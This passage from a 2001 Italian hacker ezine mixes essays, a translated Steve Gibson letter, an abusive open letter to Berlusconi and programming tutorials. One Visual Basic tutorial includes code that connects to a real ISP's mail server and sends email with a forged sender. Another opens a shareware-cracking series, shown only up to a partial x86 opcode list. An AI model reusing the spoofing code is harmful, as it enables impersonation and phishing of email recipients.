lo stabilisce da sé e credo che questo, chi chiede del perché tanti
scarabocchi in giro per le città, non lo capisca. Non capisce che il mondo dei
writers
è quanto di più vicino esista all'anarchia completa ed ognuno agisce libero di
fare quel che gli pare (purtroppo,direi a volte), di fare quello che sente. Non
ti so dire perché c'è tanta gente che anziché dipingere si limita a lasciare
dietro kilometri quadrati di firme, no davvero; al limite, posso solo
rispondere che non mi sento di condividerli perché io voglio lasciare qualcosa
che appaghi
il mio senso estetico, che può pure essere sì una firma, di tanto in tanto, ma
che principalmente significa fare pezzi (dopotutto un pezzo non è che
l'evoluzione della firma no? Allora perché non lasciare la firma migliore
possibile?). Una sola cosa è certa: se il writing negli ultimi anni è diventato
quello
che è adesso nei suoi aspetti negativi, la colpa è in parte anche dei media
che tanto si danno da fare per ridicolizzarlo e criminalizzarlo, facendoci
passare tutti come tanti ragazzini annoiati e senza niente di meglio da fare.
Infatti
anni fa chi ci getta addosso fango in maniera indiscriminata ha trovato molto
redditizio spingere e cavalcare l'onda della moda hip hop, trasformando un
movimento fondamentalmente underground in una pagliacciata da vetrina del
centro...e di pari passo l'hip hop ha trascinato sotto le luci della ribalta
tutto
quello che bene o male gli è collegato da sempre, tra cui il writing (beh...a me
il reps fa cagare salvo una o due eccezioni...ma questo è un altro
discorso).Qualche milione di ragazzini dai 13 anni in su è stato per anni
bombardato di
canzonette rap-radiofoniche (grazie articolo 31, grazie gemelli diversi, grazie a

tutti idioti!) e di graffiti da centro commerciale; il ghetto style ha
cominciato ad imperversare ed è finito per diventare,con annessi e connessi
debitamente distorti, patrimonio delle mtv-generations a venire; ora la cosa si
sta
spegnendo lentamente, evidentemente ha smesso di essere redditizia e chi fino a
ieri ci ha sguazzato ora può finalmente smontarla per fare spazio a
qualcos'altro.
Ma intanto ha prodotto effetti collaterali che dureranno a lungo,
soprattutto nel writing. Ha prodotto ondate di writers ignoranti delle regole
fondamentali di comportamento,delle radici profonde di quello che con tanta
leggerezza
fanno e di quello che chi è venuto prima di loro ha fatto; ha creato sciami di
graffitari per moda (sì, graffitari, loro meritano quel termine orribile!) che
prendono in mano uno spray solo per ostentare il fatto di essere dei veri bomber.

Forse passerà, il tempo farà selezione e rimarrà solo chi ci crede
davvero...ma nel frattempo la babilonia che si è venuta a creare è il motivo per
cui
dico che ora parlare del writing in maniera univoca è sostanzialmente
impossibile.
Ma dopotutto, pensandoci, questo può essere anche un bene: forse poter
dare definizioni rigide di un fenomeno ha troppo il sapore di etichettamento
(detto in un momento in cui il "no-label" sta diventando la moda del momento la
cosa è pure azzeccata,no?). Forse, benvenga che ognuno possa parlare solo della
propria idea del writing e di quello che fa, perché se la pensassimo tutti allo
stesso modo dipingeremmo tutti nella stessa maniera e mi sentirei di nuovo parte
di
un tutto uniforme...già, forse è meglio portare avanti un discorso proprio e
raccogliere la sfida che l'evolversi delle cose comporta. Chi è che diceva "ciò
che
non mi uccide mi renderà più forte"
?
Per concludere mi permetto di rubare una frase di Noem dei DSP...non
volermene, la uso sfacciatamente perché è una bella sintesi: "...no vandals, no
true skool, never aristofreaks, nowhere kings, lords of nothing...just rebel.
Just
me."


Un paio di coordinate per chi intendesse andare oltre queste due
righe...se vi interessa il writing delle origini c'è un classico che è molto
interessante ed è un libro che si intitola "style: writing from the underground".
Se
preferite le moderne fantine, in Italia le migliori (a parer mio) in circolazione

sono 10000 Maniacs e Lettering (reperibili dove vendono spray ed affini). Su
www.graffiti.org ci trovate abbastanza materiale e soprattutto
abbastanza link da tenervi impegnati per un bel po'.


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L0 SCiAMAN0] #03 - 17/09/2001 |
| LETTERA APERTA AGLi HACKERS Di iNTERNET [xyzzy] 0x1F/0x29 |
+-------------------------------------------------------------------------------+

Lettera aperta agli Hackers di Internet di Steve Gibson - GRC Inc.
Mi arrendo.
Mi arrendo in questo preciso momento, completamente e senza condizioni.
E non sto scherzando.
È mia intenzione spiegare al mondo intero, nella maniera più chiara e completa possibile, il perché non ci sono difese contro i tipi di attacchi su Internet che riuscite a creare.
Voglio fare questo perché il mondo non lo ha ancora compreso completamente.
Può darsi che Voi pensiate che io ritenga di essere invulnerabile, dopo essere riuscito a gestire e a bloccare il Vostro attacco di Zombie/Bot IRC, così voglio essere SICURO che vi rendiate conto del fatto che NON HO CERTO QUESTA ILLUSIONE.
Poche ore fa stavo parlando al telefono con un giornalista, nel pieno del primo VERO, inarrestabile attacco che abbiamo mai subito.
Molto tranquillamente, gli spiegavo che stavamo proprio in quel momento subendo l'attacco e per questo motivo eravamo impossibilitati ad utilizzare Internet.
Con voce estremamente spaventata, egli mi chiese che cosa avessi intenzione di fare, così gli dissi che sarei andato a fare una lunga passeggiata sulla spiaggia, perché sia Voi che io sappiamo bene che non c'è assolutamente NULLA CHE POSSIAMO FARE per difenderci da un vero e professionale attacco del tipo "Denial of Service" proveniente da Internet, per cui potevo tranquillamente godermi la giornata.
Ho incominciato a lavorare su un documento che spiega tutto questo; tale documento non è ancora terminato, ma chiunque può vedere dove sono arrivato finora e dove sto andando: (i link alle pagine attualmente disponibili sono reperibili su http://grc.com).
Quindi, rispettosamente, Vi chiedo di lasciarmi stare e di lasciare che il mio sito sia visibile su Internet.
So perfettamente che potete facilmente sbattermi fuori.
Non è questo il punto.
Ma soltanto se sarò collegato potrò spiegare queste cose al resto del pianeta.
Grazie per la Vostra attenzione... e la Vostra pietà.
Steve.


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L0 SCiAMAN0] #03 - 17/09/2001 |
| C0NNESSi0Ni TRA 0RA E SEMPRE [IL Magnano] 0x20/0x29 |
+-------------------------------------------------------------------------------+

Arte/Misticismo/Sacrificio
Teotihuacan: sospiro pieno d'infinito. Sobria leggera e allucinata
bellezza.
Bisogno d'altro.
Arte come i sacrifici che venivano qui consumati dagli Aztechi ? Forse.
Offrire all'Universo il proprio eccedente.
Un sacrificio per restituire il superfluo: questo richiede la feroce
bellezza dell'Universo.
Il cuore umano ne sia il piu' grande esempio.
Sentiero esemplare di tutti gli uomini o delirio allampanato ?
La Mia Vita Nel Bosco Degli Spiriti.
L'Arte, per essere yale, necessita il sacrificio ?
Il Cuore degli uomini deve essere talmente abusato ?
Si sacrifichi il proprio utile per un ideale piu grande !
Ma prima di Essudare non bisogna en instant, agarrandol'onda, coglierla
piena di bellezza dell'Universo ?
(Quanto e' alto/quanto e' profondo?)
Forse possiamo connotare con il nome di arte tutto cio' che sa di sacrificio,
di pathos intenso e viscerale ?
Esiste quindi una connessione fra le rovine mistico/sacrali Azteche e la
tragedia greca ?
Lo stesso pathos ?
Teatro come massima espressione e sunto di una civilta'.
Forma di civilta' che assurge ai massimi livelli con la costruzione di
templi in adorazione agli dei e l'attuazione di sacrifici umani.
Per gli antichi Greci il Teatro Tragico non era forse un modo di
essudare l'eccedente di energia ? Certo che si !
Tragedia come rito, sacrificio come rituale.
Tragedia (canto del capro) che rappresenta esorcizzando mentre il sacrificio
azteco inscena il tragico offrendo al Dio Sole il cuore umano.
Quando l'arte possiede il fuoco sacro ?
Deve avere:
- combattere i tabu' sociali
- aprire la strada al futuro
- essere sempre e comunque nelle sue diverse forme l'espressione dell'ansia,
della tensione verso l'infinito che pervade l'uomo.
Arte come sublime ricerca delle altezze piu' elevate dello Spirito e cuore
umani.
Quanto... puo' contenere il cuore umano ??!


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L0 SCiAMAN0] #03 - 17/09/2001 |
| LETTERA A SiLVi0 B. iL GRADASS0 [Il Magnano] 0x21/0x29 |
+-------------------------------------------------------------------------------+

Caro Silvio,
ecco quanto ha da dirti un cittadino che non ti stima ne come uomo, tantomeno
come politico.
Ci hai ossessionato e bombardato per anni con la tua infinita presunzione e
saccenza.
Hai fatto di tutto per farci il lavaggio del cervello col tuo impero mediatico
(costruito come????),per convincerci che il tuo modello di vita è l'ideale
perfetto
di tutti. Ossia che le cose più vacue e futili, quelle che allontanano di più
l'essere umano dalla sua essenza sacra, che il consumismo sfrenato sia la vera ed

autentica possibilità di vita.
Sono credente, ma non ipocritamente e perfidamente come lo sei tu,(e neanche
nella
religione cattolica),credo nei simboli e nelle metafore e penso che il demonio
tanto
famoso da noi sia solo il simbolo di quanto l'essere umano si possa allontanare
dalla
sua essenza divina, dalla propria indole sacra.
E penso che tu sia davvero un ottimo simbolo odierno di questo bisogno
represso,occultato
e che quello che tu chiami lavoro nel corso dei tuoi anni sia stato quello di
pensare
che il benessere e l'economia siano sinonimi di crescita umana, siano per forza
sinonimo
di miglioramento.
Tu sei altro se non il prototipo dell'uomo occidentale perfetto,(sostanziosi
difetti,
qualche vanto, diceva UN POETA), un archetipo umano che è sulla via del tramonto,

sempre più inattuale e quasi parossistico, una specie umana che se avessi la
possibilità
di guardare indietro di millenni, ti renderesti conto che è la specie umana più
bassa,
cioè la più disumana mai apparsa nella milionaria storia del pianeta,l'unica che
ha
distrutto scientificamente e sistematicamente milioni di persone in pochissimo
tempo e ne
ha rese schiave altrettante.(senza distinzione fra totalitarismi, come usi ancora
fare tu,
essere cosi misero).
Oltretutto, dopo tutte le vibrazioni malate e guerresche che hai portato per
vincere (con
l'aiuto della mafia?) le ultime Elezioni, continui a far di tutto per rendere
impossibile
la vita a tutti coloro che non vedono la società e la vita nel tuo stesso modo.
Eppoi sappi che il tuo ruolo è anche un ruolo spirituale, e come tale avresti il
dovere di
incoraggiare ed aiutare ogni attività che avvicini gli uomini alla loro necessità
di sacro
e trascendente. Ma come puoi fare ciò proprio tu, che Sei il materialismo fatto
ad icona !!!!
Proprio tu, Silvio, che forse a 70 anni non ti sei ancora reso conto che la
spiritualità
pratica è sinonimo di semplicità, di sobrietà, di preghiera. Ma che razza di un
presidente
del consiglio Saresti mai???? Ma nemmeno per sogno ti saresti dovuto candidare
se fossi una
persona normale!!!!!
Sei malato di superbia ed egocentrismo, e come dice il Tao (ci scommetto che non
ti mai
sfiorata neanche l'idea di leggerlo) se ognuno vede che egli (il re) ha piu
ricchezze di
quelle che può usare, allora è evidente che egli è un Ladro ed un Malfattore.
Ma non provi davvero vergogna, essere cosi meschino, a voler essere il simbolo di
un paese
che ha un tremendo bisogno di spiritualità vera, forse di più che in ogni altro
paese
Occidentale? Inoltre, caro Pelato, vorrei invitarti seriamente a riflettere sul
fatto che la
Democrazia, fondata sul principio di Libertà/uguaglianza/fratellanza, ha
equilibri
fragilissimi(sai anche tu quanto sia fragile la nostra ) che richiedono un
continuo
monitoraggio e necessitano una vicinanza maggiore tra istituzioni e societa
civile, proprio il
contrario della tua filosofia gerarchica d'origine "fasista". Per chiudere, ad
esempio, con
il capitolo Satira Politica che tu odi profondamente e che dimostra tutta la tua
essenza
anti-democratica. Il livello di propaganda che tu hai attuato per vincere le
elezioni la dice
lunga su quali siano le tua reali idee.
Tuttavia, nonostante le tue gravi falle, tu hai vinto grazie all'incredibile
ottusità ed
ignoranza di milioni di italiani.
Ma la qualità etica della tua vittoria non è nemmeno degna di un lustrascarpe di
periferia,
silvio.
Per questo, per guarirti dai tuoi mali, che rischiano di farti reincarnare tante
altre volte
all'infinito, Silvio ti proponiamo di liberarti dai tuoi beni e avere un lungo
periodo di
tempo nel deserto del Sahara, noi che abbiamo a cuore davvero la tua salute!!!!
Lascia immediatamente la carica di Presidente del Consiglio a chi davvero la
merita per
dedicarti finalmente al tuo Spirito!!!!



+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L'APPRENDiSTA STREG0NE] #03 - 17/09/2001 |
| XP TEL 'N CHAT [Xp Terminator] 0x22/0x29 |
+-------------------------------------------------------------------------------+


oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
Ne io ne lo staff di oq si assume responsabilità su ciò che farete con il
programma allegato
oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO



SALUTI: saluto tutti i miei amici di #hack , free.it.hacker.virus e soprattutto BigAlex!!
THX: ringrazio me stesso per aver creato il programma e visual basic per non essersi crashato mai durante lo sviluppo (che mazzo! :) (cmq, caso rarissimo, non tentate di imitarlo... ;)
FUCK: un grande vaffxxxulo a tutti i lamerz!
DEDICATED TO: dedico questa guida a tutti quelli che mi conoscono!
WHERE : potete trovarmi su #chihackerare o #hack di irc.azzurranet.org o sul ng free.it.hacker.virus
SITE : due giorni fa ho pubblicato il mio sito, visitatelo! http://xpterminator.cjb.net
Time: 22:58:52
Date: 24/07/01



Tramite questo tutorial cercherò nel modo più semplice possibile di spiegare come sia possibile
tramite visual basic, realizzare un proprio telnet, oppure un proprio client irc, ecc,ecc,
utilizzando come esempio il programma da me realizzato Xp Tel 'n chat. Questo è in allegato
con onda quadra, e funge da telnet, chat, inviatore di mail anonime, e prende pagina http o ftp
tramite proxy....



oOoOoOoOoOoOoOoOo REALIZZIAMO IL NOSTRO TELNET PERSONALE!!! oOoOoOoOoOoOoOoOoOoOoO

[premetto che utilizzeremo il protocollo tcp...]

In visual basic, l'invio e la ricezione dei dati in rete, è gestito da un controllo ocx,
chiamato Microsoft Winsock Control. Esso non è inserito come controllo standard, quindi
non lo troveremo nella barra standard. Per aggiungerlo seguiamo questi passi:
click col tasto destro sulla barra dei controlli (dove si trovano picture, label, textbox, ecc...)
e scegliamo dal menu "Components..." (la mia versione di vb è inglese, ma credo che voi riusciate a capire i relativi corrispondenti in italiano...)
Si aprirà una finestra; scendiamo fino ad arrivare al controllo Microsoft Winsock Controll [ver] (ver è il numero di versione),
spuntiamo la casella corrispondente e clicckiamo sul tasto ok. Ora noteremo che sarà stato
aggiunto il nuovo controllo winsock.
Siamo pronti!
Facciamo doppio click sul nuovo controllo per inserirlo nel form.
Ora tramite esso possiamo effettuare qualsiasi operazione in internet...
decidete, cosa volete fare?
mmmmm, la mia prima idea è stata quella di realizzare un semplice programma telnet,
poichè non è detto che ognuno debba per forza usare il telnet di winzoz, che per altro non è
neanche ben fatto... (cmq, vi dico subito che il telnet che realizzeremo non permetterà di connettersi,
per esempio, al server www.server.com sulla porta telnet, poichè non è compatibile con il tipo di terminale...,
cmq non rattristitevi! tutte le altre operazioni le potremo fare! come inviare mail più o meno anonime, ecc....)
Allora, pronti per la vostra versione personalizzata di telnet?
Per prima cosa dovremo creare due textbox che chiameremo textbox1 e textbox2.
In queste l'utente inserirà rispettivamente server e porta per la connessione.
Quindi, creiamo un pulsante e cambiamo la caption in "Connetti! / Disconnetti!"
Nell'evento click del pulsante inseriamo il codice:

0101010100011010101010101010010101011010101010101010110

If Winsock1.State <> sckClosed 'controlla se il winsock e' gia' connesso
Winsock1.Close 'quindi chiude la connessione
Exit Sub 'ed esce dalla routine
End If

Winsock1.RemoteHost = Text1.Text 'imposta il contenuto di text1 come host remoto a cui connettersi
Winsock1.RemotePort = Text2.Text 'imposta il contenuto di text2 come porta dell'host a cui connettersi
Winsock1.Connect 'si connette

0101010100011010101010101010010101011010101010101010110

In questo momento, il winsock tenta di connettersi alla porta tot del server tot, quindi avviene il three-way-handshake.
Quando questo sarà terminato cosa succede? Se la connessione e' andata a buon fine
il server ci inviera' una stringa che varia da porta a porta, ovvero da demone a demone.
Come possiamo ricevere questo messaggio e visualizzarlo?
Per prima cosa creiamo un'altra textbox, textbox3.
Impostiamo le proprietà del textbox : multiline deve essere true, e scrollbars sul valore 3 (both).
Ma ora come facciamo a capire quando riceviamo i dati?
Nel momento in cui il server ci risponde, il winsock genera un evento chiamato dataarrival, quindi inseriamo nel codice:

0101010100011010101010101010010101011010101010101010110

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dati As String 'dichiariamo la viariabile
Winsock1.GetData dati, vbString 'inseriamo i dati inviati dal server nella variabile
Text3.Text = text3.text & dati 'inseriamo i dati nel textbox, in modo che siano leggibili dall'utente
End Sub

0101010100011010101010101010010101011010101010101010110

Quindi, da come si vede, inseriamo ciò che ci invia il server nella nuova textbox.
Ora però che programma sarebbe se non possiamo rispondere al server?
Creiamo una nuova textbox, text4, ed un nuovo bottone.
Nel textbox saranno inseriti i dati da inviare, mentre col nuovo tasto li invieremo..
Quindi nella routine dell'evento click del nuovo tasto inseriamo:

0101010100011010101010101010010101011010101010101010110

Winsock1.SendData text4.text & vbCrLf 'inviamo al server il testo contenuto nel text4, seguito da un carattere che fa capire al server che la stringa da inviare è finita, e che quindi può rispondere...
text3.text = text3.text & text4.text & vbCrLf 'inseriamo i dati anche nella textbox precedente

0101010100011010101010101010010101011010101010101010110

Come vedete ora inviamo i dati al server, ed inseriamo gli stessi anche nella stessa
textbox nella quale inseriamo le risposte del server, in modo tale da avere sotto
controllo tutta la sessione telnet...
Ed ora cos'altro dobbiamo aggiungere per poter correre a dire agli amici di aver creato un telnet?
Niente! :)
Hiihihih

Certo non permette operazioni troppo complesse, ma rimane sempre un telnet più che buono! sopratutto paragonato ai programmi della microzoz...



Con ciò abbiamo realizzato un buon telnet, usando la stessa procedura che ho usato per realizzare il mio.
Ma come si può chattare?
Facilissimo direte voi! Basta connettersi ad una porta prescelta del computer di un amico e comunicare!
Sii! Pero' per connetterci alla porta del nostro amico, c'e' bisogno che lui sia in ascolto!
Ok, allora, togliamoci questo atroce problema, ed aggiungiamo i componenti che possano
permettere alla nostra applicazione di fungere da server...
Aggiungiamo quindi, una textbox, text5, ed un bottone.
Nella text5 dovrà essere inserita la porta sulla quale mettersi in ascolto;
cambiate la caption in "Mettiti in ascolto!" e, all'evento click del nuovo bottone inseriamo:

0101010100011010101010101010010101011010101010101010110

Winsock1.LocalPort = text5.text 'Impostiamo il valore contenuto in text5 come porta locale d'ascolto
Winsock1.Listen 'Mettiamo in ascolto il winsock

0101010100011010101010101010010101011010101010101010110

Ok! Ora e' tutto fatto vero? No!
Come possiamo sapere quando qualcuno sta tentando di connettersi sulla nostra porta in ascolto?
Semplice, esiste come prima un altro evento che avviene in tal caso: connectionrequest.
Quindi inseriamo questa routine nel codice:

0101010100011010101010101010010101011010101010101010110

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close 'Se la connessione è aperta la chiude
Winsock1.Accept requestID 'Accetta la richiesta di connessione
End Sub

0101010100011010101010101010010101011010101010101010110

Ora basta che

  
o noi o il nostro amico si metta in attesa su una determinata porta,
e l'altro ci si connetta e si puo' chattare! :)
L'unica pecca e' che colui che si connette ha bisogno di sapere l'ip del computer al quale connettersi!

Ora il gioco è veramente fatto!
Abbiamo tra le nostre mani un ottimo programma!
Ma non sarebbe meglio aggiungere qualche optional?
Ok, potremmo aggiungere un form per inviare le mail anonime.

Creiamo un nuovo form, form2, ed inseriamo all'interno tre textbox normali, ed una
quarta nella quale settiamo le proprieta' : multiline = true, e scrollbars = 3 (both)
Ora aggiungiamo un pulsante, un timer, ed un controllo winsock.
Nei rispettivi textbox inseriremo: mittente, destinatario, oggetto e messaggio da inviare...
Impostiamo la proprieta' delay del timer1 su 1000 ed enabled su false.
Ora nell'evento click del bottone inseriamo:

0101010100011010101010101010010101011010101010101010110

Winsock1.RemoteHost = "193.70.192.50" 'imposta mail.libero.it come host remoto
Winsock1.RemotePort = "25" 'imposta 25 come porta remota (smtp)
Winsock1.Connect 'avvia la connessione al server
Timer1.Enabled = True 'attiva il timer1 (cioè avvia il conto alla rovescia del valore impostato precedentemente ovvero 1000 ms, alla fine dei quali viene eseguita la ruotine timer relativa al timer)

0101010100011010101010101010010101011010101010101010110

ora facciamo doppio click sul timer ed inseriamo nell'evento timer:

0101010100011010101010101010010101011010101010101010110

If Winsock1.State = 7 Then 'se e' avvenuta la connessione

Winsock1.SendData "helo xp_trmntr.net" & vbCrLf 'saluta il server
Winsock1.SendData "mail from: <" & Text1.Text & ">" & vbCrLf 'indica al server il mittente (falso!)
Winsock1.SendData "rcpt to: <" & Text2.Text & ">" & vbCrLf 'indica al server il destinatario
Winsock1.SendData "data" & vbCrLf 'indica al server che inizia il messaggio da inviare
Winsock1.SendData "From: <" & Text1.Text & ">" & vbCrLf 'inserisce nelle intestazioni della mail il mittente
Winsock1.SendData "To: <" & Text2.Text & ">" & vbCrLf 'inserisce nelle intestazioni della mail il destinatario
Winsock1.SendData "Subject: " & Text3.Text & vbCrLf 'inserisce nelle intestazioni della mail l'oggetto
Winsock1.SendData vbCrLf 'invia una riga vuota
Winsock1.SendData Text4.Text & vbCrLf 'invia il messaggio
Winsock1.SendData vbCrLf 'invia una riga vuota
Winsock1.SendData "." & vbCrLf 'indica al server che la mail e' finita
Winsock1.SendData "quit" & vbCrLf 'chiude la comunicazione con il server
MsgBox "Invio completato!" 'avverte l'utente che l'invio e' stato completato

Else 'se invece non ci si e' connessi al server

MsgBox "Impossibile connettersi al server per l'invio dell'e-mail!" 'avverte l'utente dell'errore

End If

0101010100011010101010101010010101011010101010101010110

Ora torniamo al form1, e creiamo un pulsante, inserendo come caption "Invia email anonima!"
ed inserendo come codice della routine click:

0101010100011010101010101010010101011010101010101010110

form2.show

0101010100011010101010101010010101011010101010101010110

in modo tale da visualizzare il form per inviare l'email anonima.


Bhe' cos'altro c'e' da dire!
Spero che da oggi in avanti vi creerete le cose da soli! poiche' come avete
visto non e' affatto difficile! e' spero che quindi non andiate piu' ingiro a chiedere
tutto gia' pronto...cio' che non avete realizzatevelo! :)

Per critiche, per domande, per mandarmi affCENSUREDulo o per presentarmi vostra sorella :))
scrivetemi all'email xp_terminator@katamail.com

Ciauz :)
Xp Terminator


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L'APPRENDiSTA STREG0NE] #03 - 17/09/2001 |
| CRACKiNG4DUMMiES : PARTE 3 [_phobos_] 0x23/0x29 |
+-------------------------------------------------------------------------------+

_______________________________________________________________________________
___====-_ _-====___
_--^#######// \\#######^--_
_-^##########// ( ) \\##########^-_
-############// |\^^/| \\############-
_/############// (@::@) \\############\_
/#############(( \\// ))#############\
-###############\\ (oo) //###############-
-#################\\ / () \ //#################-
-###################\\/ \//###################-
_#/|##########/\######( /\ )######/\##########|\#_
|/ |#/\#/\#/\/ \#/\##\ | | /##/\#/ \/\#/\#/\#| \|
` |/ V V ` V \#\| | | |/#/ V ' V V \| '
` ` ` ` / | | | | \ ' ' ' '
( | | | | )
__\ | | | | /__
(vvv(VVV)(VVV)vvv)
###############################################################################
###############################################################################
######################### ############################
################### #######################
############# CRACKING FOR TOTALLY NEWBYES #################
################### VOLUME TREE ######################
######################### ############################
###############################################################################
###############################################################################
*******************************************************************************
* Written by phobos (aka D4rKSP4rr0W) *
* proudly member of UIC, HackManiaci, *
* DigitalForces. *
*******************************************************************************
* Contact informations: *
* Web Site: http://phrew.cjb.net *
* E-mail: phobos333@SoftHome.net *
* ICQ UIN: 37507754 *
* On DalNet: #crack-it #Hackmaniaci #Ondaquadra #Digitalforces *
*******************************************************************************

DISCLAIMER

COME SEMPRE, VOGLIO RICORDARVI CHE LA 'REGISTRAZIONE' DEI PROGRAMMI MEDIANTE SERIALI 'SNIFFATI', IL LORO CRACKING, ED IN ALCUNI CASI IL LORO SEMPLICE 'REVERSE ENGINEERING' SONO PROCEDURE VIETATE DALLA LEGGE. UNA VOLTA TERMINATO IL PERIODO SHAREWARE BISOGNA REGISTRARE LEGALMENTE IL PROGRAMMA O DISFARSENE. QUESTO TUTORIAL E' SCRITTO PER SOLI FINI DIDATTICI, L'AUTORE NON VUOLE IN ALCUN MODO INCORAGGIARE ATTIVITA' ILLEGALI.

NON MI ASSUMO INOLTRE NESSUNA RESPONSABILITA' SE VI SPAPPOLATE I PROGRAMMI. LO SCOPO DI QUESTO TUTE E' DI ANALIZZARE LE TECNICHE DI PROTEZIONE USATE DAI PROGRAMMATORI COMMERCIALI ED INDIVIDUARE EVENTUALI 'FALLE' AL FINE DI RENDERE I LORO PRODOTTI PIU' EFFICIENTI E SICURI.

SE AVETE SUGGERIMENTI, CRITICHE COSTRUTTIVE O DOMANDE, CONTATTATEMI.
SE INVECE VOLETE RECLAMARE DIRITTI SUI MARCHI O PRODOTTI CITATI ALL'INTERNO DEL PRESENTE ANDATE PURE AL DIAVOLO, IO NON CI GUADAGNO UNA LIRA, ANDATE A CERCARE CHI CI SPECULA SOPRA.

TUTTI I NOMI CITATI SONO MARCHI REGISTRATI O COPYRIGHT DEI RISPETTIVI AUTORI.

*******************************************************************************

TECH NOTE
*********
Il presente testo e' stato scrito utilizzando un editor di testo (UltraEdit-32 e non quella kiavika del notepad di Windoze), utilizzando il Courier New a dimensione 10P. Potra' essere letto (e meglio apprezzato) utilizzando il courier o qualunque tipo di font a spaziatura fissa.

COPYRIGHTS[?!]
**************
La grafica ASCII utilizzata e' stata presa e modificata dallo script per mIRC |EMD2|, non erano indicate limitazioni a riguardo, ne so chi l'abbia realizzata, quindi grazie a chi di dovere.

La lista completa degli opcodes e' stata prelevata dall'help "Intel Opcodes and Mnemonics" tratto a sua volta dal testo OPCODES.TXT, realizzato a partire da testi trovati sulla rete (stando all'about). Non sono a conoscenza di chi sia l'autore e non ci sono limitazioni riguardo all'export e riadattamento delle nozioni in esso contenute, anche in questo caso grazie a chi di dovere.

La riproduzione parziale o totale del presente testo e' ammessa con qualsiasi mezzo, a patto che esso non sia modificato in nessuna delle sue parti.

*******************************************************************************
INDEX
-----------------------------------------------------------------------------
0 BREVE RIASSUNTO DELLA PUNTATA PRECEDENTE

1 ANALISI DELLE ISTRUZIONI UTILIZZATE SULLE CPU 80x86
-----------------------------------------------------------------------------

-= 0 =-
-= BREVE RIASSUNTO DELLA PUNTATA PRECEDENTE =-

Nella precedente 'zine, abbiamo visto come vengono implementati i sistemi di
numerazione binaria, esadecimale e decimale, all'interno delle CPU 80x86, come
convertire i dati da un formato all'altro, abbiamo visto come funzionano
sommariamente le operazioni logiche fondamentali e come sono strutturati i
registri del processore.
In questa puntata, analizzeremo le varie istruzioni che sono utilizzate dalla
CPU nella codifica dei programmi (mi perdonino gli esperti, per questa mia
imprecisione concettuale :)).
Chiaramente non analizzeremo tutte le istruzioni utilizzate dalle CPU 80x86,
se avete curiosita' a riguardo, vi rimando a testi piu' specialistici, la
nostra analisi vertera' sulle istruzioni che piu' sono utilizzate nel cracking
dei programmi.

-= 1 =-
-= ANALISI DELLE ISTRUZIONI UTILIZZATE SULLE CPU 80x86 =-

Partiamo con un elenco copiato pari pari dalla guida che vi ho illustrato nel
copyright, questo elenco, in realta' non servira' a molto, lo inserisco solo
per farvi rendere conto di quella che e' la totalita' delle istruzioni
utilizzate dal vostro processore ;)

nota: l'indicazione (80xxx+) indica che l'istruzione si utilizza a partire
solo dalla cpu xxx in questione.

AAA - Ascii Adjust for Addition
AAD - Ascii Adjust for Division
AAM - Ascii Adjust for Multiplication
AAS - Ascii Adjust for Subtraction
ADC - Add With Carry
ADD - Arithmetic Addition
AND - Logical And
ARPL - Adjusted Requested Privilege Level of Selector (286+ PM)

BOUND - Array Index Bound Check (80188+)
BSF - Bit Scan Forward (386+)
BSR - Bit Scan Reverse (386+)
BSWAP - Byte Swap (486+)
BT - Bit Test (386+)
BTC - Bit Test with Compliment (386+)
BTR - Bit Test with Reset (386+)
BTS - Bit Test and Set (386+)
CALL - Procedure Call
CBW - Convert Byte to Word
CDQ - Convert Double to Quad (386+)

CLC - Clear Carry
CLD - Clear Direction Flag
CLI - Clear Interrupt Flag (disable)
CLTS - Clear Task Switched Flag (286+ privileged)
CMC - Complement Carry Flag
CMP - Compare
CMPS - Compare String (Byte, Word or Doubleword)
CMPXCHG - Compare and Exchange
CWD - Convert Word to Doubleword
CWDE - Convert Word to Extended Doubleword (386+)

DAA - Decimal Adjust for Addition
DAS - Decimal Adjust for Subtraction
DEC - Decrement
DIV - Divide
ENTER - Make Stack Frame (80188+)
ESC - Escape
HLT - Halt CPU
IDIV - Signed Integer Division
IMUL - Signed Multiply
IN - Input Byte or Word From Port
INC - Increment
INS - Input String from Port (80188+)

INT - Interrupt
INTO - Interrupt on Overflow
INVD - Invalidate Cache (486+)
INVLPG - Invalidate Translation Look-Aside Buffer Entry (486+)
IRET/IRETD - Interrupt Return
JCXZ/JECXZ - Jump if Register (E)CX is Zero
JMP - Unconditional Jump
JXX - Conditional Jump(s)
LAHF - Load Register AH From Flags
LAR - Load Access Rights (286+ protected)

LDS - Load Pointer Using DS
LEA - Load Effective Address
LEAVE - Restore Stack for Procedure Exit (80188+)
LES - Load Pointer Using ES
LFS - Load Pointer Using FS (386+)
LGDT - Load Global Descriptor Table (286+ privileged)
LIDT - Load Interrupt Descriptor Table (286+ privileged)
LGS - Load Pointer Using GS (386+)
LLDT - Load Local Descriptor Table (286+ privileged)
LMSW - Load Machine Status Word (286+ privileged)
LOCK - Lock Bus
LODS - Load String (Byte, Word or Double)
LOOP - Decrement CX and Loop if CX Not Zero
LOOPE/LOOPZ - Loop While Equal / Loop While Zero
LOOPNZ/LOOPNE - Loop While Not Zero / Loop While Not Equal
LSL - Load Segment Limit (286+ protected)
LSS - Load Pointer Using SS (386+)
LTR - Load Task Register (286+ privileged)

MOV - Move Byte or Word
MOVS - Move String (Byte or Word)
MOVSX - Move with Sign Extend (386+)
MOVZX - Move with Zero Extend (386+)
MUL - Unsigned Multiply
NEG - Two's Complement Negation
NOP - No Operation (90h)
NOT - One's Compliment Negation (Logical NOT)
OR - Inclusive Logical OR
OUT - Output Data to Port
OUTS - Output String to Port (80188+)

POP - Pop Word off Stack
POPA/POPAD - Pop All Registers onto Stack (80188+)
POPF/POPFD - Pop Flags off Stack
PUSH - Push Word onto Stack
PUSHA/PUSHAD - Push All Registers onto Stack (80188+)
PUSHF/PUSHFD - Push Flags onto Stack
